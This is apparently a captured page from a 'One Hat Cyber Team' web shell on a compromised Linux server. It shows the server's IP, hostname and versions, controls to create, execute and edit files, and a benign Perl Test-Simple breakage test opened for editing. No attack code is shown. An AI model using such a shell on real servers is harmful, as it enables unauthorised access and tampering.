⚝
One Hat Cyber Team
⚝
Your IP:
3.133.110.34
Server IP:
15.204.235.159
Server:
Linux srv.techlup.co.ke 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
3374
/
root
/
usr
/
share
/
doc
/
perl-Test-Simple
/
t
/
Edit File: zzz-check-breaks.t
use strict; use warnings; # Must not fail! END { $? = 0 } # this test is very similar to what is generated by Dist::Zilla::Plugin::Test::CheckBreaks use Test::More; eval { require CPAN::Meta; require CPAN::Meta::Requirements; CPAN::Meta::Requirements->VERSION(2.120920); require Module::Metadata; 1 } or plan skip_all => 'breakage test requires CPAN::Meta, CPAN::Meta::Requirements and Module::Metadata'; my $metafile = -e 'MYMETA.json' ? 'MYMETA.json' : -e 'META.json' ? 'META.json' : undef; unless ($metafile) { plan skip_all => "can't check breakages without some META file"; } eval { my $breaks = CPAN::Meta->load_file($metafile)->custom('x_breaks'); my $reqs = CPAN::Meta::Requirements->new; $reqs->add_string_requirement($_, $breaks->{$_}) foreach keys %$breaks; my $result = check_breaks($reqs); if (my @breaks = grep { defined $result->{$_} } keys %$result) { diag 'You have the following modules installed, which are not compatible with the latest Test::More:'; diag "$result->{$_}" for sort @breaks; diag "\n", 'You should now update these modules!'; diag "You should also see Test2::Transition!"; } pass 'conflicting modules checked'; 1; } or plan skip_all => "Could not check conflicting modules: $@"; # this is an inlined simplification of CPAN::Meta::Check. sub check_breaks { my $reqs = shift; return +{ map { $_ => _check_break($reqs, $_) } $reqs->required_modules, }; } sub _check_break { my ($reqs, $module) = @_; my $metadata = Module::Metadata->new_from_module($module); return undef if not defined $metadata; my $version = eval { $metadata->version }; return "Missing version info for module '$module'" if not $version; return sprintf 'Installed version (%s) of %s is in range \'%s\'', $version, $module, $reqs->requirements_for_module($module) if $reqs->accepts_module($module, $version); return undef; } done_testing;
Simpan